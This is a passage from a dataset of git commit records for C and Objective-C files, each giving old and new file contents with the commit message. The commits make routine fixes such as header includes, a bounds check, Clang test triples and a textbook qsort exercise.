f98030b029edad449a75309546d7bf4803dfa750\n","lang":"C","license":"bsd-3-clause","repos":"sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc"}
{"commit":"4377b21c870e9b41ca10b4798f5252d2accd571a","old_file":"libPhoneNumber-iOS\/libPhoneNumberiOS.h","new_file":"libPhoneNumber-iOS\/libPhoneNumberiOS.h","old_contents":"\/\/\n\/\/  libPhoneNumber-iOS.h\n\/\/  libPhoneNumber-iOS\n\/\/\n\/\/  Created by Roy Marmelstein on 04\/08\/2015.\n\/\/  Copyright (c) 2015 ohtalk.me. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for libPhoneNumber-iOS.\nFOUNDATION_EXPORT double libPhoneNumber_iOSVersionNumber;\n\n\/\/! Project version string for libPhoneNumber-iOS.\nFOUNDATION_EXPORT const unsigned char libPhoneNumber_iOSVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework\n\/\/ using statements like #import <libPhoneNumber_iOS\/PublicHeader.h>\n\n#import \"NBPhoneNumberDefines.h\"\n\n\/\/ Features\n#import \"NBAsYouTypeFormatter.h\"\n#import \"NBPhoneNumberUtil.h\"\n\n\/\/ Metadata\n#import \"NBMetadataHelper.h\"\n\n\/\/ Model\n#import \"NBNumberFormat.h\"\n#import \"NBPhoneMetaData.h\"\n#import \"NBPhoneNumber.h\"\n#import \"NBPhoneNumberDesc.h\"\n","new_contents":"\/\/\n\/\/  libPhoneNumber-iOS.h\n\/\/  libPhoneNumber-iOS\n\/\/\n\/\/  Created by Roy Marmelstein on 04\/08\/2015.\n\/\/  Copyright (c) 2015 ohtalk.me. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for libPhoneNumber-iOS.\nFOUNDATION_EXPORT double libPhoneNumber_iOSVersionNumber;\n\n\/\/! Project version string for libPhoneNumber-iOS.\nFOUNDATION_EXPORT const unsigned char libPhoneNumber_iOSVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework\n\/\/ using statements like #import <libPhoneNumber_iOS\/PublicHeader.h>\n\n#import \"NBPhoneNumberDefines.h\"\n\n\/\/ Features\n#import \"NBAsYouTypeFormatter.h\"\n#import \"NBPhoneNumberUtil.h\"\n\n\/\/ Metadata\n#import \"NBMetadataHelper.h\"\n#import \"NBGeocoderMetadataHelper.h\"\n\n\/\/ Model\n#import \"NBNumberFormat.h\"\n#import \"NBPhoneMetaData.h\"\n#import \"NBPhoneNumber.h\"\n#import \"NBPhoneNumberDesc.h\"\n","subject":"Fix 'umbrella header for module does not include...' error","message":"Fix 'umbrella header for module does not include...' error\n","lang":"C","license":"apache-2.0","repos":"iziz\/libPhoneNumber-iOS,iziz\/libPhoneNumber-iOS,iziz\/libPhoneNumber-iOS,iziz\/libPhoneNumber-iOS,iziz\/libPhoneNumber-iOS"}
{"commit":"c853d88052c6a360978037c941976330f42aa3aa","old_file":"tests\/example.c","new_file":"tests\/example.c","old_contents":"#include <stdio.h>\n\nint simpleloop (int x, int y) {\n  while (x < y) {\n    if (x < 3)\n      x++;\n    else\n      x+=2;\n  }\n  return x;\n}\n\nint main () {\n  printf(\"%i\", simpleloop(0, 10), stdout);\n}\n","new_contents":"int simpleloop (int x, int y) {\n  while (x < y) {\n    if (x < 3)\n      x++;\n    else\n      x+=2;\n  }\n  return x;\n}\n","subject":"Add Pagai's invariants extraction, fix various typos.","message":"Add Pagai's invariants extraction, fix various typos.\n","lang":"C","license":"lgpl-2.1","repos":"termite-analyser\/llvm2smt"}
{"commit":"8e943ab7b33d2e0fb8688dd53ad4886fd94d1242","old_file":"Snapper\/Source\/Shared\/SNPBlockUserOperation.h","new_file":"Snapper\/Source\/Shared\/SNPBlockUserOperation.h","old_contents":"\/\/\n\/\/  SNPBlockUserOperation.h\n\/\/  Snapper\n\/\/\n\/\/  Created by Paul Schifferer on 5\/12\/13.\n\/\/  Copyright (c) 2013 Pilgrimage Software. All rights reserved.\n\/\/\n\n#import <Snapper\/Snapper.h>\n#import \"SNPUserParameters.h\"\n\n\n@interface SNPBlockUserOperation : SNPBaseUserTokenOperation\n<SNPUserParameters>\n\n\/\/ -- Properties --\n@property (nonatomic, assign) NSUInteger userId;\n\n\/\/ -- Initialization --\n- (id)initWithUserId:(NSUInteger)userId\n           accountId:(NSString*)accountId\n         finishBlock:(void (^)(SNPResponse* response))finishBlock;\n\n@end\n","new_contents":"\/\/\n\/\/  SNPBlockUserOperation.h\n\/\/  Snapper\n\/\/\n\/\/  Created by Paul Schifferer on 5\/12\/13.\n\/\/  Copyright (c) 2013 Pilgrimage Software. All rights reserved.\n\/\/\n\n#import \"SNPBaseUserTokenOperation.h\"\n#import \"SNPUserParameters.h\"\n\n\n@interface SNPBlockUserOperation : SNPBaseUserTokenOperation\n<SNPUserParameters>\n\n\/\/ -- Properties --\n@property (nonatomic, assign) NSUInteger userId;\n\n\/\/ -- Initialization --\n- (id)initWithUserId:(NSUInteger)userId\n           accountId:(NSString*)accountId\n         finishBlock:(void (^)(SNPResponse* response))finishBlock;\n\n@end\n","subject":"Use the right import type.","message":"Use the right import type.\n","lang":"C","license":"mit","repos":"exsortis\/Snapper"}
{"commit":"3891f287447bc15e84f40f2779ecb7ca0861b83b","old_file":"Classes\/iOS\/MTStackableNavigationController.h","new_file":"Classes\/iOS\/MTStackableNavigationController.h","old_contents":"\/\/\n\/\/  MTStackableNavigationController.h\n\/\/\n\/\/  Created by Mat Trudel on 2013-02-05.\n\/\/  Copyright (c) 2013 Mat Trudel. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"UIViewController+MTStackableNavigationController.h\"\n\n@interface MTStackableNavigationController : UIViewController <UINavigationBarDelegate>\n@property(nonatomic, readonly) NSArray *viewControllers;\n\n- (id)initWithRootViewController:(UIViewController *)rootViewController;\n- (void)pushViewController:(UIViewController *)viewController animated:(BOOL)animated;\n\n- (UIViewController *)popViewControllerAnimated:(BOOL)animated;\n- (NSArray *)popToViewController:(UIViewController *)viewController animated:(BOOL)animated;\n- (NSArray *)popToRootViewControllerAnimated:(BOOL)animated;\n\n@property(nonatomic,readonly,retain) UIViewController *topViewController; \/\/ The top view controller on the stack.\n\n@end\n","new_contents":"\/\/\n\/\/  MTStackableNavigationController.h\n\/\/\n\/\/  Created by Mat Trudel on 2013-02-05.\n\/\/  Copyright (c) 2013 Mat Trudel. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"UIViewController+MTStackableNavigationController.h\"\n#import \"MTStackableNavigationItem.h\"\n\n@interface MTStackableNavigationController : UIViewController <UINavigationBarDelegate>\n@property(nonatomic, readonly) NSArray *viewControllers;\n\n- (id)initWithRootViewController:(UIViewController *)rootViewController;\n- (void)pushViewController:(UIViewController *)viewController animated:(BOOL)animated;\n\n- (UIViewController *)popViewControllerAnimated:(BOOL)animated;\n- (NSArray *)popToViewController:(UIViewController *)viewController animated:(BOOL)animated;\n- (NSArray *)popToRootViewControllerAnimated:(BOOL)animated;\n\n@property(nonatomic,readonly,retain) UIViewController *topViewController; \/\/ The top view controller on the stack.\n\n@end\n","subject":"Include all headers by default","message":"Include all headers by default","lang":"C","license":"mit","repos":"mtrudel\/MTStackableNavigationController"}
{"commit":"57f1dd4f2e4e9ea31c583eeabca9c4e3086b560d","old_file":"chapter27\/chapter27_ex09.c","new_file":"chapter27\/chapter27_ex09.c","old_contents":"","new_contents":"\/* Chapter 27, exercise 9: using only C facilities, including the C standard\n    library, read a sequence of words from stdin and write them to stdout in\n    lexicographical order. Use qsort() or insert the words into an ordered list\n    as you read them. *\/\n\n#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n\n#define WORD_LEN 256\n#define ARR_LEN 128\n\nvoid print(char* words[])\n{\n    while (*words)\n        printf(\"%s\\n\",*words++);\n}\n\nchar* get_word()\n{\n    char* word = (char*)malloc(WORD_LEN);\n    char* word_ptr = word;\n    int x;\n    while ((x=getchar()) != EOF) {\n        if (x=='\\n') {\n            *word_ptr = 0;\n            break;\n        }\n        *word_ptr = x;\n        ++word_ptr;\n    }\n    return word;\n}\n\n\/* wrapper fro strcmp so it can be used with qsort *\/\nint cmpstr(const void* a, const void* b)\n{\n    const char* aa = *(const char**)a;\n    const char* bb = *(const char**)b;\n    return strcmp(aa,bb);\n}\n\nint main()\n{\n    char* words[ARR_LEN] = { 0 };\n    int ctr = 0;\n    char* word;\n    while (strcmp(word = get_word(),\"quit\"))\n        words[ctr++] = word;\n    printf(\"\\nSequence of words before sorting:\\n\");\n    print(words);\n    qsort(words,ctr,sizeof(char*),cmpstr);\n    printf(\"\\nSequence after sorting:\\n\");\n    print(words);\n}\n","subject":"Add Chapter 27, exercise 9","message":"Add Chapter 27, exercise 9\n","lang":"C","license":"mit","repos":"bewuethr\/stroustrup_ppp,bewuethr\/stroustrup_ppp"}
{"commit":"0e759ce768538ef7c0740771c069d36833feca46","old_file":"sys\/shell\/commands\/sc_ps.c","new_file":"sys\/shell\/commands\/sc_ps.c","old_contents":"\/*\n * Copyright (C) 2013  INRIA.\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @ingroup     sys_shell_commands\n * @{\n *\n * @file\n * @brief       Shell commands for the PS module\n *\n * @author      Oliver Hahm <oliver.hahm@inria.fr>\n *\n * @}\n *\/\n\n#include \"ps.h\"\n\nint _ps_handler(int argc, char **argv)\n{\n    (void) argc;\n    (void) argv;\n\n    ps();\n\n    return 0;\n}\n","new_contents":"\/*\n * Copyright (C) 2013  INRIA.\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @ingroup     sys_shell_commands\n * @{\n *\n * @file\n * @brief       Shell commands for the PS module\n *\n * @author      Oliver Hahm <oliver.hahm@inria.fr>\n *\n * @}\n *\/\n\n#ifdef MODULE_PS\n#include \"ps.h\"\n\nint _ps_handler(int argc, char **argv)\n{\n    (void) argc;\n    (void) argv;\n\n    ps();\n\n    return 0;\n}\n#endif","subject":"Fix ps depedency when ps not included","message":"Fix ps depedency when ps not included\n","lang":"C","license":"lgpl-2.1","repos":"ximus\/RIOT,ximus\/RIOT,ximus\/RIOT,ximus\/RIOT,ximus\/RIOT,ximus\/RIOT"}
{"commit":"449ce31d5120a192e62d21fdf9389b0e8ca06d8e","old_file":"test\/CodeGen\/nobuiltin.c","new_file":"test\/CodeGen\/nobuiltin.c","old_contents":"\/\/ RUN: %clang_cc1 -O1 -S -o - %s | FileCheck -check-prefix=STRCPY -check-prefix=MEMSET %s\n\/\/ RUN: %clang_cc1 -fno-builtin -O1 -S -o - %s | FileCheck -check-prefix=NOSTRCPY -check-prefix=NOMEMSET %s\n\/\/ RUN: %clang_cc1 -fno-builtin-memset -O1 -S -o - %s | FileCheck -check-prefix=STRCPY -check-prefix=NOMEMSET %s\n\nvoid PR13497() {\n  char content[2];\n  \/\/ make sure we don't optimize this call to strcpy()\n  \/\/ STRCPY-NOT: __strcpy_chk\n  \/\/ NOSTRCPY: __strcpy_chk\n  __builtin___strcpy_chk(content, \"\", 1);\n}\n\nvoid PR4941(char *s) {\n  \/\/ Make sure we don't optimize this loop to a memset().\n  \/\/ NOMEMSET-NOT: memset\n  \/\/ MEMSET: memset\n  for (unsigned i = 0; i < 8192; ++i)\n    s[i] = 0;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-linux-gnu -O1 -S -o - %s | FileCheck -check-prefix=STRCPY -check-prefix=MEMSET %s\n\/\/ RUN: %clang_cc1 -triple x86_64-linux-gnu -fno-builtin -O1 -S -o - %s | FileCheck -check-prefix=NOSTRCPY -check-prefix=NOMEMSET %s\n\/\/ RUN: %clang_cc1 -triple x86_64-linux-gnu -fno-builtin-memset -O1 -S -o - %s | FileCheck -check-prefix=STRCPY -check-prefix=NOMEMSET %s\n\nvoid PR13497() {\n  char content[2];\n  \/\/ make sure we don't optimize this call to strcpy()\n  \/\/ STRCPY-NOT: __strcpy_chk\n  \/\/ NOSTRCPY: __strcpy_chk\n  __builtin___strcpy_chk(content, \"\", 1);\n}\n\nvoid PR4941(char *s) {\n  \/\/ Make sure we don't optimize this loop to a memset().\n  \/\/ NOMEMSET-NOT: memset\n  \/\/ MEMSET: memset\n  for (unsigned i = 0; i < 8192; ++i)\n    s[i] = 0;\n}\n","subject":"Add target triples to fix test on non-x86.","message":"Add target triples to fix test on non-x86.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@281790 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"11ac5afd65a335cafd8ad8884507fe3210dc80bc","old_file":"src\/dtkComposer\/dtkComposerMetatype.h","new_file":"src\/dtkComposer\/dtkComposerMetatype.h","old_contents":"\/* dtkComposerMetatype.h --- \n * \n * Author: tkloczko\n * Copyright (C) 2011 - Thibaud Kloczko, Inria.\n * Created: Sat Aug  4 00:26:47 2012 (+0200)\n * Version: $Id$\n * Last-Updated: Wed Oct 17 11:45:26 2012 (+0200)\n *           By: Julien Wintz\n *     Update #: 12\n *\/\n\n\/* Commentary: \n * \n *\/\n\n\/* Change log:\n * \n *\/\n\n#ifndef DTKCOMPOSERMETATYPE_H\n#define DTKCOMPOSERMETATYPE_H\n\n#include <QtCore>\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nQ_DECLARE_METATYPE(bool*);\n\nQ_DECLARE_METATYPE(int*);\nQ_DECLARE_METATYPE(uint*);\n\nQ_DECLARE_METATYPE(qlonglong*);\nQ_DECLARE_METATYPE(qulonglong*);\n\nQ_DECLARE_METATYPE(qreal*);\n\nQ_DECLARE_METATYPE(QString*);\n\n#endif\n","new_contents":"\/* dtkComposerMetatype.h --- \n * \n * Author: tkloczko\n * Copyright (C) 2011 - Thibaud Kloczko, Inria.\n * Created: Sat Aug  4 00:26:47 2012 (+0200)\n * Version: $Id$\n * Last-Updated: Thu Jun 13 14:55:45 2013 (+0200)\n *           By: Thibaud Kloczko\n *     Update #: 15\n *\/\n\n\/* Commentary: \n * \n *\/\n\n\/* Change log:\n * \n *\/\n\n#ifndef DTKCOMPOSERMETATYPE_H\n#define DTKCOMPOSERMETATYPE_H\n\n#include <QtCore>\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nQ_DECLARE_METATYPE(bool*);\n\nQ_DECLARE_METATYPE(int*);\nQ_DECLARE_METATYPE(uint*);\n\nQ_DECLARE_METATYPE(qlonglong*);\nQ_DECLARE_METATYPE(qulonglong*);\n\nQ_DECLARE_METATYPE(qreal*);\nQ_DECLARE_METATYPE(double **)\n\nQ_DECLARE_METATYPE(QString*);\n\n#endif\n","subject":"Add declaration of double** to Qt metatype engine.","message":"Add declaration of double** to Qt metatype engine.\n","lang":"C","license":"bsd-3-clause","repos":"d-tk\/dtk,d-tk\/dtk,d-tk\/dtk,rdebroiz\/dtk,d-tk\/dtk,rdebroiz\/dtk,d-tk\/dtk,rdebroiz\/dtk,rdebroiz\/dtk,d-tk\/dtk,NicolasSchnitzler\/dtk,NicolasSchnitzler\/dtk,NicolasSchnitzler\/dtk,NicolasSchnitzler\/dtk"}
{"commit":"eec85a4a55631f44199bc235c9db891e61be3c67","old_file":"spotify-fs.c","new_file":"spotify-fs.c","old_contents":"#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n#include <pthread.h>\n#include <errno.h>\n#include \"spotify-fs.h\"\n\nint main(int argc, char *argv[])\n{\n\tint retval = 0;\n\tchar *password = NULL;\n\tchar *username = malloc(SPOTIFY_USERNAME_MAXLEN);\n\tif ((getuid() == 0) || (geteuid() == 0)) {\n\t\tfprintf(stderr, \"Running %s as root is not a good idea\\n\", application_name);\n\t\treturn 1;\n\t}\n\tprintf(\"spotify username: \");\n\tusername = fgets(username, SPOTIFY_USERNAME_MAXLEN, stdin);\n\tlong username_len = strlen(username);\n\tif(username[username_len-1] == '\\n') {\n\t\tusername[username_len-1] = '\\0';\n\t}\n\tpassword = getpass(\"spotify password: \");\n\tif (strlen(password) <= 0)\n\t{\n\t\tpassword = NULL;\n\t}\n\n\t\/* should we do something about this, really?\n\t * Maybe put error logging here instead of in\n\t * spotify_session_init()*\/\n\t(void) spotify_session_init(username, password, NULL);\n\tretval = fuse_main(argc, argv, &spfs_operations, NULL);\n\treturn retval;\n}\n","new_contents":"#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n#include <pthread.h>\n#include <errno.h>\n#include \"spotify-fs.h\"\n\nint main(int argc, char *argv[])\n{\n\tint retval = 0;\n\tchar *password = NULL;\n\tchar *username = malloc(SPOTIFY_USERNAME_MAXLEN);\n\tif ((getuid() == 0) || (geteuid() == 0)) {\n\t\tfprintf(stderr, \"Running %s as root is not a good idea\\n\", application_name);\n\t\treturn 1;\n\t}\n\tprintf(\"spotify username: \");\n\tusername = fgets(username, SPOTIFY_USERNAME_MAXLEN, stdin);\n\tlong username_len = strlen(username);\n\tif(username_len > 0 && username[username_len-1] == '\\n') {\n\t\tusername[username_len-1] = '\\0';\n\t}\n\tpassword = getpass(\"spotify password: \");\n\tif (strlen(password) <= 0)\n\t{\n\t\tpassword = NULL;\n\t}\n\n\t\/* should we do something about this, really?\n\t * Maybe put error logging here instead of in\n\t * spotify_session_init()*\/\n\t(void) spotify_session_init(username, password, NULL);\n\tretval = fuse_main(argc, argv, &spfs_operations, NULL);\n\treturn retval;\n}\n","subject":"Check that there's something in the username buffer before reading it","message":"Check that there's something in the username buffer before reading it\n","lang":"C","license":"bsd-3-clause","repos":"chelmertz\/spotifile,catharsis\/spotifile,catharsis\/spotifile,raoulh\/spotifile,catharsis\/spotifile,raoulh\/spotifile,raoulh\/spotifile,chelmertz\/spotifile,chelmertz\/spotifile"}
{"commit":"776befec10531a6cdc260154f8364bec10f01f58","old_file":"libsmart_priv.h","new_file":"libsmart_priv.h","old_contents":"","new_contents":"#ifndef _LIBSMART_PRIV_H\n#define _LIBSMART_PRIV_H\n\ntypedef struct smart_s {\n\tsmart_protocol_e protocol;\n\t\/* Device \/ OS specific follows this structure *\/\n} smart_t;\n\n#endif\n","subject":"Add header file def for private structure","message":"Add header file def for private structure\n","lang":"C","license":"isc","repos":"ctuffli\/smart,ctuffli\/smart"}
{"commit":"6a983da6189220b79795474c5d3f2315702a984e","old_file":"Utilities\/kwsys\/testDynload.c","new_file":"Utilities\/kwsys\/testDynload.c","old_contents":"#ifdef _WIN32\n#define DL_EXPORT __declspec( dllexport )\n#else\n#define DL_EXPORT\n#endif\n\nDL_EXPORT int TestDynamicLoaderData;\n\nDL_EXPORT void TestDynamicLoaderFunction()\n{\n}\n","new_contents":"#ifdef _WIN32\n#define DL_EXPORT __declspec( dllexport )\n#else\n#define DL_EXPORT\n#endif\n\nDL_EXPORT int TestDynamicLoaderData = 0;\n\nDL_EXPORT void TestDynamicLoaderFunction()\n{\n}\n","subject":"Fix compilation on MacOSX (common symbols not allowed with MH_DYLIB output format)","message":"COMP: Fix compilation on MacOSX (common symbols not allowed with MH_DYLIB output format)\n","lang":"C","license":"bsd-3-clause","repos":"candy7393\/VTK,arnaudgelas\/VTK,sumedhasingla\/VTK,johnkit\/vtk-dev,mspark93\/VTK,collects\/VTK,biddisco\/VTK,daviddoria\/PointGraphsPhase1,mspark93\/VTK,mspark93\/VTK,Wuteyan\/VTK,jeffbaumes\/jeffbaumes-vtk,sumedhasingla\/VTK,aashish24\/VTK-old,Wuteyan\/VTK,keithroe\/vtkoptix,Wuteyan\/VTK,mspark93\/VTK,ashray\/VTK-EVM,ashray\/VTK-EVM,spthaolt\/VTK,hendradarwin\/VTK,candy7393\/VTK,demarle\/VTK,gram526\/VTK,naucoin\/VTKSlicerWidgets,sankhesh\/VTK,daviddoria\/PointGraphsPhase1,spthaolt\/VTK,ashray\/VTK-EVM,msmolens\/VTK,keithroe\/vtkoptix,hendradarwin\/VTK,berendkleinhaneveld\/VTK,daviddoria\/PointGraphsPhase1,candy7393\/VTK,hendradarwin\/VTK,gram526\/VTK,johnkit\/vtk-dev,jeffbaumes\/jeffbaumes-vtk,aashish24\/VTK-old,gram526\/VTK,collects\/VTK,naucoin\/VTKSlicerWidgets,sankhesh\/VTK,arnaudgelas\/VTK,johnkit\/vtk-dev,gram526\/VTK,SimVascular\/VTK,biddisco\/VTK,demarle\/VTK,msmolens\/VTK,SimVascular\/VTK,berendkleinhaneveld\/VTK,arnaudgelas\/VTK,jeffbaumes\/jeffbaumes-vtk,msmolens\/VTK,hendradarwin\/VTK,demarle\/VTK,hendradarwin\/VTK,sumedhasingla\/VTK,biddisco\/VTK,sumedhasingla\/VTK,spthaolt\/VTK,jmerkow\/VTK,jeffbaumes\/jeffbaumes-vtk,msmolens\/VTK,collects\/VTK,cjh1\/VTK,gram526\/VTK,collects\/VTK,jmerkow\/VTK,arnaudgelas\/VTK,SimVascular\/VTK,daviddoria\/PointGraphsPhase1,johnkit\/vtk-dev,biddisco\/VTK,Wuteyan\/VTK,collects\/VTK,ashray\/VTK-EVM,naucoin\/VTKSlicerWidgets,sankhesh\/VTK,naucoin\/VTKSlicerWidgets,naucoin\/VTKSlicerWidgets,aashish24\/VTK-old,ashray\/VTK-EVM,keithroe\/vtkoptix,jmerkow\/VTK,arnaudgelas\/VTK,spthaolt\/VTK,jmerkow\/VTK,collects\/VTK,mspark93\/VTK,berendkleinhaneveld\/VTK,berendkleinhaneveld\/VTK,berendkleinhaneveld\/VTK,sumedhasingla\/VTK,mspark93\/VTK,biddisco\/VTK,keithroe\/vtkoptix,candy7393\/VTK,aashish24\/VTK-old,ashray\/VTK-EVM,cjh1\/VTK,mspark93\/VTK,cjh1\/VTK,johnkit\/vtk-dev,sankhesh\/VTK,sumedhasingla\/VTK,SimVascular\/VTK,keithroe\/vtkoptix,keithroe\/vtkoptix,ashray\/VTK-EVM,SimVascular\/VTK,jeffbaumes\/jeffbaumes-vtk,keithroe\/vtkoptix,jmerkow\/VTK,aashish24\/VTK-old,jmerkow\/VTK,spthaolt\/VTK,Wuteyan\/VTK,demarle\/VTK,sankhesh\/VTK,SimVascular\/VTK,daviddoria\/PointGraphsPhase1,jmerkow\/VTK,arnaudgelas\/VTK,candy7393\/VTK,demarle\/VTK,ashray\/VTK-EVM,sumedhasingla\/VTK,candy7393\/VTK,jmerkow\/VTK,gram526\/VTK,spthaolt\/VTK,Wuteyan\/VTK,gram526\/VTK,keithroe\/vtkoptix,johnkit\/vtk-dev,gram526\/VTK,sankhesh\/VTK,mspark93\/VTK,Wuteyan\/VTK,sankhesh\/VTK,candy7393\/VTK,msmolens\/VTK,biddisco\/VTK,msmolens\/VTK,SimVascular\/VTK,cjh1\/VTK,cjh1\/VTK,jeffbaumes\/jeffbaumes-vtk,hendradarwin\/VTK,candy7393\/VTK,sankhesh\/VTK,biddisco\/VTK,sumedhasingla\/VTK,demarle\/VTK,johnkit\/vtk-dev,aashish24\/VTK-old,demarle\/VTK,daviddoria\/PointGraphsPhase1,msmolens\/VTK,SimVascular\/VTK,naucoin\/VTKSlicerWidgets,berendkleinhaneveld\/VTK,msmolens\/VTK,hendradarwin\/VTK,spthaolt\/VTK,berendkleinhaneveld\/VTK,cjh1\/VTK,demarle\/VTK"}
{"commit":"3b4878c31f8659a1a8c05225ced397ee76a12208","old_file":"testmud\/mud\/home\/Game\/sys\/bin\/rebuild.c","new_file":"testmud\/mud\/home\/Game\/sys\/bin\/rebuild.c","old_contents":"#include <kotaka\/paths.h>\n#include <game\/paths.h>\n\ninherit LIB_BIN;\n\nvoid main(string args)\n{\n\tobject user;\n\n\tuser = query_user();\n\n\tif (user->query_class() < 2) {\n\t\tsend_out(\"You do not have sufficient access rights to rebuild.\\n\");\n\t\treturn;\n\t}\n\n\tOBJECTD->klib_recompile();\n\tOBJECTD->global_recompile();\n}\n","new_contents":"#include <kotaka\/paths.h>\n#include <game\/paths.h>\n\ninherit LIB_BIN;\n\nvoid main(string args)\n{\n\tobject user;\n\n\tuser = query_user();\n\n\tif (user->query_class() < 1) {\n\t\tsend_out(\"You do not have sufficient access rights to rebuild.\\n\");\n\t\treturn;\n\t}\n\n\tOBJECTD->recompile_everything();\n}\n","subject":"Update Game to new objectd api","message":"Update Game to new objectd api\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"88421a4d5cd49aa4dcb48687395577cb9e19cbaf","old_file":"cbits\/Engine.h","new_file":"cbits\/Engine.h","old_contents":"#ifndef HSQML_ENGINE_H\n#define HSQML_ENGINE_H\n\n#include <QtCore\/QScopedPointer>\n#include <QtCore\/QString>\n#include <QtCore\/QUrl>\n#include <QtQml\/QQmlEngine>\n#include <QtQml\/QQmlContext>\n#include <QtQml\/QQmlComponent>\n\n#include \"hsqml.h\"\n\nclass HsQMLObjectProxy;\nclass HsQMLWindow;\n\nstruct HsQMLEngineConfig\n{\n    HsQMLEngineConfig()\n        : contextObject(NULL)\n        , stopCb(NULL)\n    {}\n\n    HsQMLObjectProxy* contextObject;\n    QString initialURL;\n    QStringList importPaths;\n    QStringList pluginPaths;\n    HsQMLTrivialCb stopCb;\n};\n\nclass HsQMLEngine : public QObject\n{\n    Q_OBJECT\n\npublic:\n    HsQMLEngine(const HsQMLEngineConfig&);\n    ~HsQMLEngine();\n    bool eventFilter(QObject*, QEvent*);\n    QQmlEngine* declEngine();\n\nprivate:\n    Q_DISABLE_COPY(HsQMLEngine)\n\n    Q_SLOT void componentStatus(QQmlComponent::Status);\n    QQmlEngine mEngine;\n    QQmlComponent mComponent;\n    QList<QObject*> mObjects;\n    HsQMLTrivialCb mStopCb;\n};\n\n#endif \/*HSQML_ENGINE_H*\/\n","new_contents":"#ifndef HSQML_ENGINE_H\n#define HSQML_ENGINE_H\n\n#include <QtCore\/QScopedPointer>\n#include <QtCore\/QString>\n#include <QtCore\/QStringList>\n#include <QtCore\/QUrl>\n#include <QtQml\/QQmlEngine>\n#include <QtQml\/QQmlContext>\n#include <QtQml\/QQmlComponent>\n\n#include \"hsqml.h\"\n\nclass HsQMLObjectProxy;\nclass HsQMLWindow;\n\nstruct HsQMLEngineConfig\n{\n    HsQMLEngineConfig()\n        : contextObject(NULL)\n        , stopCb(NULL)\n    {}\n\n    HsQMLObjectProxy* contextObject;\n    QString initialURL;\n    QStringList importPaths;\n    QStringList pluginPaths;\n    HsQMLTrivialCb stopCb;\n};\n\nclass HsQMLEngine : public QObject\n{\n    Q_OBJECT\n\npublic:\n    HsQMLEngine(const HsQMLEngineConfig&);\n    ~HsQMLEngine();\n    bool eventFilter(QObject*, QEvent*);\n    QQmlEngine* declEngine();\n\nprivate:\n    Q_DISABLE_COPY(HsQMLEngine)\n\n    Q_SLOT void componentStatus(QQmlComponent::Status);\n    QQmlEngine mEngine;\n    QQmlComponent mComponent;\n    QList<QObject*> mObjects;\n    HsQMLTrivialCb mStopCb;\n};\n\n#endif \/*HSQML_ENGINE_H*\/\n","subject":"Fix missing include breaking compilation with Qt 5.0.","message":"Fix missing include breaking compilation with Qt 5.0.\n\nIgnore-this: 5dff167c44ad1cc6ee31684cae68da9e\n\ndarcs-hash:20150127225150-4d2ae-3a04dfc67645719182188ee9c21c2bed04a8101c\n","lang":"C","license":"bsd-3-clause","repos":"johntyree\/HsQML,johntyree\/HsQML"}
